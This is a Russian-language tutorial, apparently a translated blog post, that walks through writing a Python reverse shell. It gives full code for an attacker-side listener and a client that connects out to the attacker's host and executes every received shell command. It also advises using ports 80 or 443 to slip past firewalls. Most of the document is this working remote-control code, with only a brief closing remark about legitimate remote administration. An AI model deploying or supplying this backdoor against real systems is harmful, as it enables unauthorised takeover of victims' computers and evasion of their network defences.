Существует множество способов получить контроль над скомпрометированной системой. Обычной практикой является получение доступа к интерактивной оболочке, что позволяет вам попытаться получить полный контроль над операционной системой. Однако большинство основных брандмауэров блокируют прямые удаленные подключения. Один из способов обойти это — использовать обратные оболочки.

Обратный шелл — это программа, которая выполняет локальные команды cmd.exe (для Windows) или bash/zsh (для Unix-подобных) и отправляет вывод на удаленную машину. При обратной оболочке целевая машина инициирует соединение с машиной злоумышленника, а машина злоумышленника прослушивает входящие соединения на указанном порту; это позволит обойти брандмауэры.

Основная идея кода, который мы будем реализовывать, заключается в том, что машина злоумышленника будет продолжать прослушивать соединения. Как только клиент (или целевая машина) подключается, сервер отправляет команды оболочки на целевую машину и ожидает результатов вывода.

Сторона сервера

Во-первых, начнем с сервера (код злоумышленника):

import socket
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
# separator string for sending 2 messages in one go
SEPARATOR = "<sep>"
# create a socket object
s = socket.socket()

Обратите внимание, что я использовал 0.0.0.0 в качестве IP-адреса сервера, это означает все адреса IPv4 на локальном компьютере. Вы можете задаться вопросом, почему мы просто не используем наш локальный IP-адрес или localhost или 127.0.0.1? Хорошо, если сервер имеет два IP-адреса, скажем, 192.168.1.101 в сети и 10.0.1.1 в другой, и сервер прослушивает 0.0.0.0, то он будет доступен с обоих этих IP-адресов.

Затем мы указали некоторые переменные и инициировали сокет TCP. Обратите внимание, что я использовал 5003 в качестве TCP-порта, не стесняйтесь выбирать любой порт выше 1024; просто убедитесь, что он не используется, и вы должны использовать его с обеих сторон (т. Е. Сервер и клиент).

Однако вредоносные обратные оболочки обычно используют популярный порт 80 (т. е. HTTP) или 443 (т. е. HTTPS), это позволит ему обойти ограничения брандмауэра целевого клиента, не стесняйтесь менять его и пробовать!

Теперь давайте свяжем только что созданный сокет с нашим IP-адресом и портом:

# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))

Прослушивание соединений:

s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

Если какой-либо клиент пытается подключиться к серверу, нам нужно принять его:

# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")

Функция accept() ожидает входящего соединения и возвращает новый сокет, представляющий соединение (client_socket) и адрес (IP и порт) клиента.

Теперь приведенный ниже код будет выполняться только в том случае, если пользователь подключен к серверу; давайте получим сообщение от клиента, которое содержит текущий рабочий каталог клиента:

# receiving the current working directory of the client
cwd = client_socket.recv(BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)

Обратите внимание, что нам нужно закодировать сообщение в байты перед отправкой, и мы должны отправить сообщение, используя client_socket, а не серверный сокет.

Теперь давайте запустим наш основной цикл, который отправляет команды оболочки, получает результаты и печатает их:

while True:
    # get the command from prompt
    command = input(f"{cwd} $> ")
    if not command.strip():
        # empty command
        continue
    # send the command to the client
    client_socket.send(command.encode())
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # retrieve command results
    output = client_socket.recv(BUFFER_SIZE).decode()
    # split command output and current directory
    results, cwd = output.split(SEPARATOR)
    # print output
    print(results)

В приведенном выше коде мы запрашиваем у пользователя сервера (т. е. злоумышленника) команду, которую он хочет выполнить на клиенте; мы отправляем эту команду клиенту и ожидаем, что вывод команды выведет ее на консоль.

Обратите внимание, что мы разделяем вывод на результаты команд и текущий рабочий каталог. Это потому, что клиент будет отправлять оба этих сообщения в одной операции отправки.

Если команда «выход», просто выйдите из цикла и закройте соединения.

Сторона клиента

Давайте теперь посмотрим код клиента, откроем новый файл и напишем:

import socket
import os
import subprocess
import sys
SERVER_HOST = sys.argv[1]
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
# separator string for sending 2 messages in one go
SEPARATOR = "<sep>"

Выше мы устанавливаем SERVER_HOST для передачи из аргументов командной строки, это IP или хост серверной машины. Если вы находитесь в локальной сети, вы должны узнать частный IP-адрес сервера, используя команду ipconfig в Windows и ifconfig в Linux.

Обратите внимание: если вы тестируете оба кода на одном компьютере, вы можете установить SERVER_HOST на 127.0.0.1, и все будет работать нормально.

Создадим сокет и подключимся к серверу:

# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))

Помните, что сервер ожидает текущий рабочий каталог клиента сразу после подключения. Отправим тогда:

# get the current directory
cwd = os.getcwd()
s.send(cwd.encode())

Мы использовали функцию getcwd() из модуля os, эта функция возвращает текущий рабочий каталог. Например, если вы выполните этот код на рабочем столе, он вернет абсолютный путь к рабочему столу.

Переходя к основному циклу, мы сначала получаем команду от сервера, выполняем ее и отправляем результат обратно. Вот код для этого:

while True:
    # receive the command from the server
    command = s.recv(BUFFER_SIZE).decode()
    splited_command = command.split()
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    if splited_command[0].lower() == "cd":
        # cd command, change directory
        try:
            os.chdir(' '.join(splited_command[1:]))
        except FileNotFoundError as e:
            # if there is an error, set as the output
            output = str(e)
        else:
            # if operation is successful, empty message
            output = ""
    else:
        # execute the command and retrieve the results
        output = subprocess.getoutput(command)
    # get the current working directory as output
    cwd = os.getcwd()
    # send the results back to the server
    message = f"{output}{SEPARATOR}{cwd}"
    s.send(message.encode())
# close client connection
s.close()

Сначала мы получаем команду от сервера, используя метод recv() для объекта сокета, затем мы проверяем, является ли это командой cd, если это так, то мы используем функцию os.chdir() для изменения каталога, потому что subprocess.getoutput() порождает свой процесс и делает не менять каталог в текущем процессе Python.

После этого, если это не cd команда, то мы просто используем subprocess.getoutput() функцию для получения вывода выполненной команды.

Наконец, мы подготавливаем наше сообщение, содержащее выходные данные команды и рабочий каталог, а затем отправляем его.

Полученные результаты

Хорошо, мы закончили писать код для обеих сторон. Запустим их. Во-первых, вам нужно запустить сервер для прослушивания этого порта, а затем запустить клиент.

Ниже показан снимок экрана, когда я запустил сервер и установил новое клиентское соединение, а затем запустил демо-команду dir:

И это была моя команда запуска на стороне клиента:

Невероятно, не так ли? Вы можете выполнить любую команду оболочки, доступную в этой операционной системе.

Обратите внимание, что я использовал 127.0.0.1 для запуска обеих сторон на одной машине, но вы можете сделать это удаленно в локальной сети или в Интернете.

Заключение

В заключение отметим, что обратная оболочка обычно не является вредоносным кодом. Мы можем использовать его в законных целях; например, вы можете использовать это для удаленного управления вашими машинами.

Вот исходный код статьи: -

https://github.com/KoderKumar/Reverse-Shell

Спасибо, что прочитали мою статью

И если вам это нравится, дайте мне следовать.

https://www.instagram.com/coder_kumar/

Если этот пост был полезен, пожалуйста, несколько раз нажмите кнопку аплодисментов 👏, чтобы выразить свою поддержку автору 👇

🚀Разработчики: учитесь и развивайтесь, не отставая от того, что важно, ПРИСОЕДИНЯЙТЕСЬ К FAUN.